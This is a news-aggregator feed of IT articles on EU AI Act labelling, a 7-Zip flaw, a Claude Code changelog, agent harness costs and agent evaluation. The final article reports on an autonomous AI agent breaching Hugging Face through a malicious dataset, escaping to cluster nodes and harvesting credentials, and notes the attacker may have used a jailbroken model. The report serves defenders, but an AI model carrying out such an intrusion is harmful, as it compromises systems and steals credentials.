The EU AI Act’s transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.

“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.

Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.

Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.

AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.

The three icons are publicly available for free use; enterprises can download zip files in PNG and SVG formats.

Most of the Act’s transparency rules begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.

However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”

A consistent code of practice

Along with the transparency guidelines, the Commission has introduced a code of practice that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the AI Act, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.

Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.

Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.

Criteria for compliance

Shashi Bellamkonda, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.

B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.

Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.

“This is a good move for guardrails around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.

Creating a transparency pipeline

Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.

Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.

The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed 55% of cropped images.

“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.

Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”

Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.

His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.

Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.

To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

]]> <![CDATA[New Orleans Cops Published Policy Document Allowing Weaponized Drones]]> https://tsecurity.de/de/3682368/it-security-nachrichten/new-orleans-cops-published-policy-document-allowing-weaponized-drones/ https://tsecurity.de/de/3682368/it-security-nachrichten/new-orleans-cops-published-policy-document-allowing-weaponized-drones/ Tue, 21 Jul 2026 01:23:15 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[7-Zip schließt XZ-Parsing-Lücke CVE-2026-14266 – Update auf 26.02 prüfen]]> https://tsecurity.de/de/3682367/it-security-nachrichten/7-zip-schliesst-xz-parsing-luecke-cve-2026-14266-update-auf-2602-pruefen/ https://tsecurity.de/de/3682367/it-security-nachrichten/7-zip-schliesst-xz-parsing-luecke-cve-2026-14266-update-auf-2602-pruefen/ Tue, 21 Jul 2026 01:23:13 +0200 📰 IT Security Nachrichten tsecurity.de LONDON (IT BOLTWISE) – 7-Zip schiebt nach einer ZDI-Offenlegung bereits nach: Die Lücke CVE-2026-14266, ausgelöst beim Parsen manipuliertem XZ-Datenmaterials, wurde laut Zeitlinie rund drei Wochen vor der öffentlichen Meldung mit Version 26.02 gefixt. Entscheidend für die Risikoeinschätzung ist die Einordnung als High (CVSS 7,0) statt „Critical“, weil die Ausnutzung lokal und mit Nutzerinteraktion verbunden ist. […]

Dieser Beitrag 7-Zip schließt XZ-Parsing-Lücke CVE-2026-14266 – Update auf 26.02 prüfen erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

]]> <![CDATA[Automated Observability with Puppet in a Zero-Trust Environment (voxconf2026)]]> https://tsecurity.de/de/3682310/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/ https://tsecurity.de/de/3682310/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/ Tue, 21 Jul 2026 00:34:08 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Automated Observability with Puppet in a Zero-Trust Environment (voxconf2026)]]> https://tsecurity.de/de/3682288/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/ https://tsecurity.de/de/3682288/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/ Tue, 21 Jul 2026 00:18:38 +0200 🎥 IT Security Video tsecurity.de <![CDATA[v2.1.216]]> https://tsecurity.de/de/3682279/downloads/v21216/ https://tsecurity.de/de/3682279/downloads/v21216/ Tue, 21 Jul 2026 00:16:52 +0200 💾 Downloads tsecurity.de What's changed
  • Added sandbox.filesystem.disabled setting to skip filesystem isolation while keeping network egress control
  • Fixed a slowdown in long sessions where message normalization cost grew quadratically with the number of turns, causing multi-second stalls and slow resumes
  • Fixed auto mode denying commands with "HTTP 401" classifier errors after the OAuth token expired or rotated mid-session
  • Fixed AskUserQuestion telling Claude to continue even when your answer asked it to wait or explain first — free-text answers now get neutral wording
  • Fixed Claude Code on the web re-asking the same question and dropping your answer after the session sat idle for a few minutes
  • Fixed @-mentions silently attaching nothing after file-modifying hooks, vim dot-repeat of c-operators and paste, statusline running twice on resume, and resume-picker hangs on failure
  • Fixed resumed background agent sessions reverting to the default agent: the agent's prompt and tool restrictions are now restored
  • Fixed worktree-isolated subagents redirecting git into the shared checkout via git -C, --git-dir, or GIT_DIR/GIT_WORK_TREE
  • Fixed worktree sessions landing in another project's leftover worktree when the working directory did not match the selected project
  • Fixed background sessions whose worktree has no git repository being undeletable
  • Fixed claude daemon stop --any potentially terminating an unrelated process via a stale legacy daemon lockfile
  • Fixed Esc-Esc at an idle prompt not opening the rewind picker in long-running sessions with background tasks
  • Fixed Bash command permission checking for compound statements with redirects inside && lists or negations
  • Fixed pressing Ctrl+X twice in the agent list failing to delete a session, and deleted sessions reappearing when their background worker had died
  • Fixed background subagents getting cancelled when a high-priority message arrives during their startup window
  • Fixed mouse and focus garbage in the terminal while a GUI editor from /memory, /plan, /keybindings, or Ctrl+G is open; /memory no longer waits for the editor to close
  • Fixed Claude-in-Chrome 403-looping on reconnect when the session's OAuth token lacks a required scope
  • Fixed workflow saves and scheduled-task writes following a symlink at .claude, which could redirect writes outside the project
  • Fixed MCP re-authenticate revoking working credentials before the new sign-in succeeds, and the reconnect needs-auth message in background sessions pointing at an unusable command
  • Fixed read-only commands on Windows accessing network paths without a permission prompt
  • Fixed Bash command parsing of non-ASCII characters to match real shell word boundaries
  • Fixed PowerShell tool permission validation of commands containing invisible Unicode characters
  • Fixed dialogs in fullscreen mode stretching past the right-hand edge of their panel
  • Fixed the /config settings list in fullscreen mode clipping its keyboard-hint footer
  • Fixed the transcript-mode (Ctrl+O) footer hint wrapping on terminals narrower than 104 columns
  • Fixed the Prometheus metrics endpoint (OTEL_METRICS_EXPORTER=prometheus) emitting invalid # UNIT lines
  • Fixed skills and commands changed during a session not appearing in the slash menu until restart
  • Fixed plugin skills with a name frontmatter field losing their plugin prefix in slash-command autocomplete
  • Fixed telemetry misreporting permission denials: failed permission-prompt requests no longer count as user rejections, and user interrupts are now reported as user aborts instead of rejections
  • Improved the /fork confirmation to one line with the new session's name, claude attach id, and a note when the copy shares your checkout
  • Improved validation of git and gh command arguments in the PowerShell tool
  • Improved the /ultrareview diff-too-large error to show configured limits, measured diff size, and largest contributing files
  • Improved /code-review ultra empty-diff message to name the exact base ref and suggest passing an explicit base
  • Improved the spend limit adjustment prompt to show the server's reason when a spend limit change is rejected
  • /context now shows an explicit warning when the conversation exceeds the context window, and a failed /compact displays as an error
  • /rewind no longer restores or deletes files through symlinks or hard links at tracked paths and reports how many paths it skipped
  • Background sessions: /mcp and /install-github-app now park a "needs input" request in the agent view when no client is attached
  • Updated the bundled dataviz skill: reordered the default chart palette and fixed guidance that suggested direct labels for four-series charts
  • [VSCode] Fixed right-to-left text (Arabic, Hebrew, Persian) rendering in the wrong order when mixed with English or code
  • Fixed cloud sessions dropping the in-flight message when the session's container restarts mid-turn — the interrupted turn now re-runs on resume instead of leaving the session unresponsive
]]> <![CDATA[Writer's AI harness cuts token spend nearly 40% — without sacrificing accuracy]]> https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/ https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/ Mon, 20 Jul 2026 23:48:13 +0200 📰 IT Nachrichten tsecurity.de Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.

A new paper from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. 

By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.

Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.

The ROI crisis of tokenmaxxing

The current state of AI engineering is plagued by "tokenmaxxing," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. 

Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. 

"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. 

"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."

Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.

The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: 

  • Prompt compression condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. 

  • Budgeted reasoning caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. 

  • Terse coding forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. 

  • Speculative decoding uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.

These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.

Unpacking the harness: the levers of efficiency

The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.

The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. 

As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”

Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. 

For enterprises, this reframes the "own-versus-rent" decision. 

"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." 

Inside the experiments

To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6. 

Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.

The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.

The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.

Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.

End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.

However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.

Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).

The developer’s playbook: actionable takeaways and tradeoffs

The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."

Structure for system prompt caching (The Two-Zone Prompt): Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.

Manage context with Context Offloading: Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."

Build resilient loops and redefine KPIs: Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:

  • Hard per-task token budgets: The run terminates when the budget is spent, no exceptions.

  • Generation fencing: Caps on steps, tool calls, and recursion depth to stop non-converging agents. 

  • Failure-spend governance: Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.

Avoid unnecessary complexity: Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.

However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."

The future of the enterprise harness

The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. 

As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.

"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."

]]> <![CDATA[A single AI agent conversation can look perfect and still be broken, leaders from LangChain, Conviva and CoreWeave said at VB Transform 2026]]> https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/ https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/ Mon, 20 Jul 2026 22:48:13 +0200 📰 IT Nachrichten tsecurity.de A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.

At VB Transform 2026, Harrison Chase, CEO of LangChain; Hui Zhang, CTO and co-founder of Conviva; and Emmanuel Turlay, director of engineering at CoreWeave, described that shift, along with a parallel move toward cheaper, narrower judge models.

Agent-as-judge — judging one AI agent's output with another — hasn't replaced LLM-as-judge, which Chase said remains the default. The larger tension, Zhang said, is between automated judging, whether by LLM or agent, and human review.

"You have scalable but ungrounded, whether it's agents as judge or LLMs as judge, you grade the outcome, you grade the work. It still is very difficult to ground it and then you use humans and that's just not scalable," Zhang said. "The whole industry is facing this, which poison you want to pick."

Evaluation criteria now function as the product spec

That gap — a conversation that scores well but still signals a broken product — is what teams try to close by building an exhaustive evaluation suite before they ship anything. Chase said that doesn't work.

"We sometimes see teams that have almost eval paralysis," Chase said. "They're like, this is an eval set, I can't launch it. The best teams launch and then iterate."

Chase framed evaluation criteria as a living specification, not a one-time test suite: a product requirements document — the standard software-development spec for what an application should do. "Evals are like the new PRD," he said. "They define what your agent should and shouldn't do."

Turlay described hitting the same failure from a different angle. "I was trying to reach 100% coverage for my tests, and I still had bugs in production," he said — a test suite that looked complete but still missed what mattered, the same gap Chase was describing with evals.

Broad, always-on monitoring, he said, catches more real failures than an exhaustive pre-launch test suite. Teams should set up wide online checks first, use those to identify failure classes as they occur, then build a targeted offline evaluation set around the problems that surface.

Why scoring traces one at a time is a mistake

Even a well-built evaluation process can still score the wrong thing. Zhang's objection is to how most teams run evaluation: sampling traces, whether 50 of them or a full population, scoring each in isolation. That approach misses a signal that only shows up when comparing cohorts of users against a baseline, a method Zhang calls contrastive analysis.

Zhang illustrated it with a retail example: a shopper asks an agent for a running shoe ahead of a half marathon, the agent asks qualifying questions, and the shopper buys a shoe. Scored individually, that interaction looks fine. But the clarification ratio, how many follow-up questions an agent asks before completing a task, came in three times higher than baseline for that shoe category across the full user population. A second metric, how often shoppers finished their purchase outside the conversation, was five times higher than baseline for the same category.

Neither number is visible from a single trace. Both point to a debuggable, category-specific problem. Zhang said the industry also lacks a second data source: what happens before, between and after the conversation, not just the trace itself.

Sizing the judge to the job

Once contrastive analysis flags which category is actually broken, the next problem is what watches for it going forward — and at what cost. Turlay's rule was to start with the most capable model available to prove a task is solvable, then work down. If it can't be done with a top-tier model, he said, it won't work with a smaller one. Once a pattern proves viable, teams can sample a fraction of traffic instead of judging every interaction, and move simpler tasks like binary classification to smaller open source models.

LangChain took that further, fine-tuning its own model to detect when a user believes the agent made a mistake, a signal Chase calls perceived error. "The model we fine-tuned was a Qwen model," he said, referring to Alibaba's open source family. Combining hand labeling with distillation, the result performed well. "Same as [Claude]Sonnet, for, depending on how we served it, either 10 to 100x cost reduction," Chase said.

Not every guardrail needs a model. Chase pointed to Claude Code's own guardrails as proof: regexes, the common programming technique for finding and validating patterns in code. "A lot of the guardrails they had were just regexes," he said. "They weren't small LLMs, they were just regexes."

LLM-as-judge doesn't mean human-in-the-loop disappears

The bigger question is whether using LLM as a judge removes the need for a human in the loop.

Turlay pointed to accountability, drawing on his prior work at a self-driving car company. His team compressed data intake and retraining into a two-week cycle for shipping a new model to the car. Even then, someone still had to sign off.

"I felt confident on behalf of the company to say this model should go into the car," he said. The same logic extends to legal, finance and healthcare. "Before we can remove a human to say, I endorse this and I take responsibility legally for it, it's going to be a while before agents can do that on their own."

Zhang agreed a human has to remain the guardian on corner cases, even as automation eventually runs at a scale that beats individual human accuracy — machines can see more at the pattern level.

Chase went further: that human check isn't just a safety net. "Human in the loop is really important for building trust in how these agentic systems work, and also really important for memory and learning from systems," he said. "There has to be interactions in order for the system to learn."

]]> <![CDATA[LibreOffice schießt gegen Microsoft - Scharfe Kritik an Office-Formaten]]> https://tsecurity.de/de/3682050/it-security-nachrichten/libreoffice-schiesst-gegen-microsoft-scharfe-kritik-an-office-formaten/ https://tsecurity.de/de/3682050/it-security-nachrichten/libreoffice-schiesst-gegen-microsoft-scharfe-kritik-an-office-formaten/ Mon, 20 Jul 2026 21:35:18 +0200 📰 IT Security Nachrichten tsecurity.de Microsoft, Open Source, vs., Streit, Libreoffice, Konflikt, Duell, The Document Foundation LibreOffice kritisiert die Dateiformate von Microsoft Office erneut scharf. Der Vorwurf lautet, dass Anwender durch gezielte Inkompatibilitäten in die Abhängigkeit getrieben werden. Auch die Langzeitarchivierung von digitalen Unterlagen sei dadurch bedroht. (Weiter lesen)]]> <![CDATA[CVE-2026-14266: 7-Zip schließt XZ-Parsing-Lücke für gefährdete Archive]]> https://tsecurity.de/de/3682035/it-security-nachrichten/cve-2026-14266-7-zip-schliesst-xz-parsing-luecke-fuer-gefaehrdete-archive/ https://tsecurity.de/de/3682035/it-security-nachrichten/cve-2026-14266-7-zip-schliesst-xz-parsing-luecke-fuer-gefaehrdete-archive/ Mon, 20 Jul 2026 21:22:36 +0200 📰 IT Security Nachrichten tsecurity.de LONDON (IT BOLTWISE) – 7-Zip schließt mit Version 26.02 eine kritische Schwachstelle im XZ-Archiv-Parsing: Ein speziell präpariertes Archiv kann beim Entpacken Code im Prozesskontext ausführen. Betroffen ist die Verarbeitung von XZ-Chunk-Daten, bei der ein Längenhandling zu einem Heap-Buffer-Overflow führen kann. Die Lücke trägt den Namen CVE-2026-14266 und wurde laut ZDI mit 7,0 (High) bewertet. Entscheidend […]

Dieser Beitrag CVE-2026-14266: 7-Zip schließt XZ-Parsing-Lücke für gefährdete Archive erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

]]> <![CDATA[LibreOffice Once Again Slams Microsoft For Using 'Lock-In' With Office Files]]> https://tsecurity.de/de/3681703/it-security-nachrichten/libreoffice-once-again-slams-microsoft-for-using-lock-in-with-office-files/ https://tsecurity.de/de/3681703/it-security-nachrichten/libreoffice-once-again-slams-microsoft-for-using-lock-in-with-office-files/ Mon, 20 Jul 2026 19:00:45 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[USN-8560-1: libXfont vulnerabilities]]> https://tsecurity.de/de/3681612/unix-server/usn-8560-1-libxfont-vulnerabilities/ https://tsecurity.de/de/3681612/unix-server/usn-8560-1-libxfont-vulnerabilities/ Mon, 20 Jul 2026 18:18:44 +0200 🐧 Unix Server tsecurity.de <![CDATA[Safety guardrails blocked Hugging Face's defenders, not the attacker, when an AI agent breached its systems]]> https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/ https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/ Mon, 20 Jul 2026 18:03:18 +0200 📰 IT Nachrichten tsecurity.de Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploit data the same way they would treat a live attack.

The attacker, an autonomous AI agent running the campaign end to end, moved laterally across the Hugging Face infrastructure for a weekend, undetected and unstopped.

Security leaders are quick to recognize the pattern and diagnose what went wrong. “I’ve seen versions of this during red-team exercises and internal security testing, but this is one of the first high-profile examples where it materially affected real incident response,” said Merritt Baer, senior adviser to Andesite, G2I, and AppOmni and former Deputy CISO at AWS.

None of this is unique to Hugging Face, Baer said. “Commercial frontier models optimize for preventing misuse. They generally have no cryptographic or organizational way to determine whether the person asking ‘analyze this malware’ is an incident responder or the malware author.”

A malicious dataset opened two code-execution paths

On July 16, Hugging Face disclosed that an autonomous AI agent system had compromised its production infrastructure, gaining unauthorized access to a limited set of internal datasets and several service credentials. The company verified that its software supply chain was clean and found no evidence of tampering with public models, datasets, or Spaces.

Hugging Face is still assessing whether the intrusion touched any partner or customer data and says it will contact affected parties directly as required. But few enterprise threat models had accounted for the attacker Hugging Face faced. An autonomous agent ran the entire campaign from initial access through credential harvesting. No human guided it.

The entry point was a malicious dataset. When the data-processing pipeline ingested it, the dataset triggered code execution in two ways, through a remote-code loader and through a template-injection flaw in dataset configuration files. No admission gate screened the file before it reached a processing worker, the compute job assigned to each dataset. Initial access came through the data pipeline itself, a route that worked because most enterprise security teams treat the data feeding their pipelines as trusted input rather than an attack surface.

Worker isolation did not hold. From that first foothold, the agent broke out onto the node running the workload, then harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, all of it inside a single weekend. Hugging Face described the agent framework as executing thousands of individual actions through a swarm of short-lived sandboxes, with self-migrating command-and-control staged on public services. The disclosure adds that the framework appeared to be built on an agentic security-research harness, which would put tooling designed for red-team work behind a live intrusion.

Why the defenders’ queries looked like attacks

Investigators reconstructed more than 17,000 recorded events using AI-driven analysis agents of their own.

First attempts at the log analysis ran on frontier models behind commercial APIs. Defenders’ steps included submitting real attack commands, exploit payloads, and command-and-control artifacts for classification, but safety guardrails blocked the requests outright.

Baer traced the block to the prompts themselves. “The same prompts that are most valuable during an active intrusion, shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement, are exactly the prompts most likely to trigger safety systems,” she told VentureBeat. “As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue.”

The forensic analysis finished on GLM 5.2

GLM 5.2, an open-weight model deployed on Hugging Face’s own infrastructure, took the job the commercial APIs refused. No attacker data left the company’s environment. “This experience points to a gap worth planning for,” the company wrote in its disclosure. Hugging Face does not know which model powered the agents. It could have been a jailbroken hosted model or an open-weight model running without restrictions. Either way, the disclosure continued, “the attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried.” Hugging Face drew that line itself, writing that the experience is not an argument against safety measures on hosted models and that it is sharing the feedback with the providers concerned.

What authenticated trust changes

The industry, Baer argued, needs to move past treating AI safety as a content moderation problem. “Security operations require something different. Authenticated trust.” Instead of asking whether anyone should receive an answer, the question becomes whether an authenticated security team, operating under enterprise controls, should receive it. “The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance.”

“Organizations already build contingency plans for cloud outages, identity provider failures, or EDR failures,” Baer wrote. “AI assistants are becoming another dependency.”

Her advice on IR playbooks was blunt. “A mature incident response plan should assume that during a severe incident, commercial AI APIs may refuse requests, API rate limits may become unavailable, internet connectivity may be impaired, and data governance rules may prohibit uploading forensic evidence externally.” The lesson, she wrote in her emailed answers, “isn’t ‘don’t use commercial models.’ It’s ‘don’t make them a single point of failure.’”

AI-enabled attacks rose 89% year-over-year

Autonomous AI-driven attacks are not limited to AI platforms. CrowdStrike’s 2026 Global Threat Report documented AI-enabled adversary operations increasing by 89% year over year, with average breakout times falling to 29 minutes. Enterprises running AI workloads in production with agentic access to their pipelines face similar exposure.

Six control domains determined the blast radius and recovery speed at Hugging Face. Each one maps to a concrete action security leaders can take before the next autonomous-agent breach arrives.

AI Pipeline Breach Response Playbook

Control Domain

What Broke

Monday Action

Dataset admission controls

Two code-execution paths were exploited. No admission gate validated the dataset before it reached a processing worker. The data pipeline became the initial access infrastructure.

Require sandbox execution and static analysis of all datasets before they reach workers. Block remote-code loaders and template-injection paths by default. Audit for any path granting code execution to untrusted content. Report to the board as a supply-chain risk.

Worker-to-node privilege boundaries

Worker isolation failed to prevent escalation to the node. The agent gained cluster credentials because the workload-infrastructure boundary was never enforced at container runtime.

Enforce hard privilege boundaries between workers and nodes. Deploy container runtime security to prevent workload escape. Audit whether workers can reach node-level APIs or credential stores. Include in the next penetration test scope.

Credential exposure

Cloud and cluster credentials harvested after node access. The scope was broad enough for lateral movement across multiple clusters over a weekend.

